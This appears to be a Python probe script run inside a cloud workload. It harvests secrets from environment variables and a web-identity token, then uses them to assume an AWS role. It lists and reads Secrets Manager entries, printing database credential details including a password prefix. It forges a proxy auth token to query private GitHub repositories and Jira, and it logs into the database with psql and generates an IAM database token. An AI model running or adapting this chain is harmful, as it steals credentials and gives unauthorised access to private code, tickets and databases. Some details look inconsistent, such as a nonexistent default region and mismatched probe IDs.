sfprobe25923/entry.py
2026-11-17 14:04:32 +01:00

234 lines
12 KiB
Python

import os, json, time, hmac, hashlib, base64, urllib.request, urllib.parse, urllib.error, socket, subprocess, xml.etree.ElementTree as ET
def P(*a):
try:
print(' '.join(str(x) for x in a), flush=True)
except Exception:
pass
def http(url, method='GET', headers=None, data=None, timeout=20):
req = urllib.request.Request(url, data=data, headers=headers or {}, method=method)
try:
r = urllib.request.urlopen(req, timeout=timeout)
return r.status, dict(r.headers), r.read()
except urllib.error.HTTPError as e:
return e.code, dict(e.headers), e.read()
except Exception as e:
return -1, {}, str(e).encode()
def hdrs_val(h, k):
for kk, vv in h.items():
if kk.lower() == k.lower():
return vv
return ''
def sigv4_headers(ak, sk, token, method, url, body=b'', region='us-east-1', service='sts', extra=None, content_type=None, unsigned=False):
u = urllib.parse.urlsplit(url)
host = u.netloc
path = urllib.parse.quote(u.path or '/', safe='/~')
q = urllib.parse.parse_qsl(u.query, keep_blank_values=True)
cq = '&'.join('%s=%s' % (urllib.parse.quote(k, safe='~'), urllib.parse.quote(v, safe='~')) for k, v in sorted(q))
amz = time.strftime('%Y%m%dT%H%M%SZ', time.gmtime())
ad = amz[:8]
if isinstance(body, str):
body = body.encode()
payload_hash = 'UNSIGNED-PAYLOAD' if unsigned else hashlib.sha256(body).hexdigest()
h = {'Host': host, 'X-Amz-Date': amz}
if content_type:
h['Content-Type'] = content_type
if token:
h['X-Amz-Security-Token'] = token
if extra:
h.update(extra)
names = sorted(k.lower() for k in h)
ch = ''.join('%s:%s\n' % (k, ' '.join(str(h[[x for x in h if x.lower() == k][0]]).split())) for k in names)
sh = ';'.join(names)
creq = '\n'.join([method.upper(), path, cq, ch, sh, payload_hash])
sts = '\n'.join(['AWS4-HMAC-SHA256', amz, '%s/%s/%s/aws4_request' % (ad, region, service), hashlib.sha256(creq.encode()).hexdigest()])
def S(k, m): return hmac.new(k, m.encode(), hashlib.sha256).digest()
k = S(('AWS4' + sk).encode(), ad); k = S(k, region); k = S(k, service); k = S(k, 'aws4_request')
sig = hmac.new(k, sts.encode(), hashlib.sha256).hexdigest()
h['Authorization'] = 'AWS4-HMAC-SHA256 Credential=%s/%s/%s/%s/aws4_request, SignedHeaders=%s, Signature=%s' % (ak, ad, region, service, sh, sig)
return h
def presign(ak, sk, token, url, region='us-east-3', service='sts', expires=900, unsigned=True):
u = urllib.parse.urlsplit(url)
host = u.netloc
path = urllib.parse.quote(u.path or '/', safe='/~')
amz = time.strftime('%Y%m%dT%H%M%SZ', time.gmtime())
ad = amz[:8]
q = urllib.parse.parse_qsl(u.query, keep_blank_values=True)
q += [('X-Amz-Algorithm', 'AWS4-HMAC-SHA256'),
('X-Amz-Credential', '%s/%s/%s/%s/aws4_request' % (ak, ad, region, service)),
('X-Amz-Date', amz), ('X-Amz-Expires', str(expires)), ('X-Amz-SignedHeaders', 'host')]
if token:
q.append(('X-Amz-Security-Token', token))
cq = '&'.join('%s=%s' % (urllib.parse.quote(k, safe='~'), urllib.parse.quote(v, safe='~')) for k, v in sorted(q))
payload_hash = 'UNSIGNED-PAYLOAD' if unsigned else hashlib.sha256(b'').hexdigest()
creq = '\n'.join(['GET', path, cq, 'host:%s\n' % host, 'host', payload_hash])
sts = '\n'.join(['AWS4-HMAC-SHA256', amz, '%s/%s/%s/aws4_request' % (ad, region, service), hashlib.sha256(creq.encode()).hexdigest()])
def S(k, m): return hmac.new(k, m.encode(), hashlib.sha256).digest()
k = S(('AWS4' + sk).encode(), ad); k = S(k, region); k = S(k, service); k = S(k, 'aws4_request')
sig = hmac.new(k, sts.encode(), hashlib.sha256).hexdigest()
return host + path + '?' + cq + '&X-Amz-Signature=' + sig
def sts_xml_parse(xml):
try:
root = ET.fromstring(xml)
except Exception:
return None
out = {}
for el in root.iter():
tag = el.tag.split('}')[-1]
if tag in ('AccessKeyId', 'SecretAccessKey', 'SessionToken', 'Expiration'):
out[tag] = el.text
return out if 'AccessKeyId' in out else None
P('=== PROBE 26276 START', time.strftime('%Y-%m-%dT%H:%M:%SZ', time.gmtime()))
P('HOSTNAME=', socket.gethostname())
for k in sorted(os.environ):
if any(s in k.upper() for s in ('AWS', 'SECFORGE', 'DATABASE', 'TOKEN', 'SECRET', 'PROXY', 'KUBE', 'POD', 'IRSA')):
v = os.environ[k]
if len(v) > 120:
v = v[:60] + '...(%d)' % len(v)
P('ENV', k, '=', v)
role = os.environ.get('AWS_ROLE_ARN', '')
tf = os.environ.get('AWS_WEB_IDENTITY_TOKEN_FILE', '')
tok = ''
try:
tok = open(tf).read().strip()
except Exception as e:
P('TOKEN_READ_ERR', e)
P('AWS_ROLE_ARN_FULL=', role, ' token_len=', len(tok))
if tok:
p = tok.split('.')[1]
p += '=' * (-len(p) % 4)
try:
c = json.loads(base64.urlsafe_b64decode(p))
P('TOKEN_CLAIMS=', json.dumps({k: c.get(k) for k in ('aud', 'sub', 'iss', 'exp')}))
except Exception as e:
P('TOKEN_DECODE_ERR', e)
# 1. AssumeRoleWithWebIdentity
cred = None
if role and tok:
body = urllib.parse.urlencode({'Action': 'AssumeRoleWithWebIdentity', 'Version': '2011-06-15',
'RoleSessionName': 'qa26276', 'WebIdentityToken': tok}).encode()
for ep in ('https://sts.amazonaws.com/', 'https://sts.eu-west-3.amazonaws.com/'):
st, h, b = http(ep, 'POST', {'Content-Type': 'application/x-www-form-urlencoded'}, body, 30)
P('ASSUME', ep, 'HTTP', st, b[:400])
if st == 200:
cred = sts_xml_parse(b)
if cred:
P('ASSUME_OK role=', role, 'akid_prefix=', cred['AccessKeyId'][:8], 'exp=', cred.get('Expiration'))
break
else:
break
if not cred:
P('NO_STS_CRED assume failed -> probe stops AWS section')
else:
ak, sk, stok = cred['AccessKeyId'], cred['SecretAccessKey'], cred.get('SessionToken', '')
# GCI
body = b'Action=GetCallerIdentity&Version=2011-06-15'
h = sigv4_headers(ak, sk, stok, 'POST', 'https://sts.amazonaws.com/', body, region='us-east-1', service='sts', content_type='application/x-www-form-urlencoded')
st, hh, b = http('https://sts.amazonaws.com/', 'POST', h, body, 25)
P('GCI', st, b[:500])
# ListSecrets
body = json.dumps({'MaxResults': 50}).encode()
h = sigv4_headers(ak, sk, stok, 'POST', 'https://secretsmanager.eu-west-3.amazonaws.com/', body, region='eu-west-3', service='secretsmanager', content_type='application/x-amz-json-1.1', extra={'X-Amz-Target': 'secretsmanager.ListSecrets'})
st, hh, b = http('https://secretsmanager.eu-west-3.amazonaws.com/', 'POST', h, body, 30)
P('LIST_SECRETS', st, b[:2500])
names = []
try:
j = json.loads(b)
names = [x.get('ARN') or x.get('Name') for x in j.get('SecretList', [])]
except Exception:
pass
P('SECRET_COUNT', len(names))
# GetSecretValue on candidates
cands = []
for n in [os.environ.get('DATABASE_SECRET_NAME', ''), 'secforge/projects/qa-irsa-26276/db/db-credentials']:
if n:
cands.append(n)
for i, arn in enumerate(names):
low = (arn or '').lower()
if any(s in low for s in ('db-credentials', 'infra_priv', 'token_encryption', 'auth_secret', 'db/')):
cands.append(arn)
seen = set(); cands = [c for c in cands if not (c in seen or seen.add(c))]
P('GETSEC_CANDIDATES', len(cands))
dbcreds = None
for c in cands[:4]:
body = json.dumps({'SecretId': c}).encode()
h = sigv4_headers(ak, sk, stok, 'POST', 'https://secretsmanager.eu-west-3.amazonaws.com/', body, region='eu-west-3', service='secretsmanager', content_type='application/x-amz-json-1.1', extra={'X-Amz-Target': 'secretsmanager.GetSecretValue'})
st, hh, b = http('https://secretsmanager.eu-west-3.amazonaws.com/', 'POST', h, body, 30)
P('GETSEC', c, 'HTTP', st)
if st == 200:
try:
j = json.loads(b)
sv = j.get('SecretString')
if sv:
d = json.loads(sv)
shape = {k: ('<%s len=%d>' % (type(v).__name__, len(str(v)))) for k, v in d.items()}
P(' SECRET_KEYS', json.dumps(shape))
if 'password' in d or 'host' in d:
dbcreds = d
P(' DB_FIELDS host=', d.get('host'), 'port=', d.get('port'), 'dbname=', d.get('dbname') or d.get('db_name'), 'user=', d.get('username') or d.get('user'), 'pwd_len=', len(str(d.get('password', ''))))
if d.get('password'):
P(' PWD_PREFIX', str(d.get('password'))[:3])
else:
P(' BINARY len=', len(j.get('SecretBinary') or ''))
except Exception as e:
P(' PARSE_ERR', e, b[:200])
# 2. integration proxy
# sign STS GCI request for proxy auth token
body = b'Action=GetCallerIdentity&Version=2011-06-15'
h = sigv4_headers(ak, sk, stok, 'POST', 'https://sts.amazonaws.com/', body, region='us-east-1', service='sts', content_type='application/x-www-form-urlencoded')
keep = {}
for k, v in h.items():
if k not in ('Host',):
keep[k] = v
token_b64 = base64.b64encode(json.dumps({'headers': keep}).encode()).decode()
P('PROXY_TOKEN_PREFIX', token_b64[:40], 'len=', len(token_b64))
base = os.environ.get('SECFORGE_INTEGRATION_PROXY_URL', '') or 'http://integration-proxy.secforge-integrations'
st, hh, b = http(base.rstrip('/') + '/healthz', 'GET', {}, None, 8)
P('PROXY_HEALTHZ', base, st, b[:200])
for name, payload in [
('github_search', {'method': 'GET', 'path': '/search/code', 'params': {'q': 'org:ledger-sandbox', 'per_page': 5}}),
('github_repos', {'method': 'GET', 'path': '/orgs/ledger-sandbox/repos', 'params': {'per_page': 10, 'type': 'private'}}),
('jira', {'method': 'GET', 'path': '/rest/api/3/search', 'params': {'jql': 'order by created DESC', 'maxResults': 2}}),
]:
body = json.dumps(payload).encode()
hdr = {'Content-Type': 'application/json', 'x-secforge-auth-token': token_b64}
st, hh, b = http(base.rstrip('/') + '/api/proxy/' + ('github' if name.startswith('github') else 'jira'), 'POST', hdr, body, 40)
P('PROXY', name, 'HTTP', st, b[:1500])
# 3. RDS
if dbcreds and dbcreds.get('host'):
host = dbcreds.get('host'); port = int(dbcreds.get('port') or 5432)
user = dbcreds.get('username') or dbcreds.get('user')
dbn = dbcreds.get('dbname') or dbcreds.get('db_name')
pwd = dbcreds.get('password')
s = socket.socket(); s.settimeout(6)
try:
s.connect((host, port)); P('RDS_TCP_OK', host, port)
except Exception as e:
P('RDS_TCP_ERR', host, port, e)
s.close()
if pwd:
env = dict(os.environ); env['PGPASSWORD'] = pwd
cmd = ['psql', '-h', host, '-p', str(port), '-U', str(user), '-d', str(dbn), '-c', '\\dt']
try:
r = subprocess.run(cmd, capture_output=True, timeout=25, env=env)
P('PSQL_RC', r.returncode, (r.stdout or b'')[:1200], (r.stderr or b'')[:400])
except Exception as e:
P('PSQL_ERR', e)
else:
P('NO_DBCREDS')
# IAM RDS token attempt
if dbcreds and dbcreds.get('host'):
host = dbcreds.get('host'); port = int(dbcreds.get('port') or 5432)
user = dbcreds.get('username') or dbcreds.get('user')
tokurl = 'https://%s:%s/?Action=connect&DBUser=%s' % (host, port, urllib.parse.quote(str(user), safe=''))
dbtok = presign(ak, sk, stok, tokurl, region='eu-west-3', service='rds-db', expires=900, unsigned=True)
P('RDS_IAM_TOKEN_PREFIX', dbtok[:80], 'len=', len(dbtok))
P('=== PROBE 26276 END')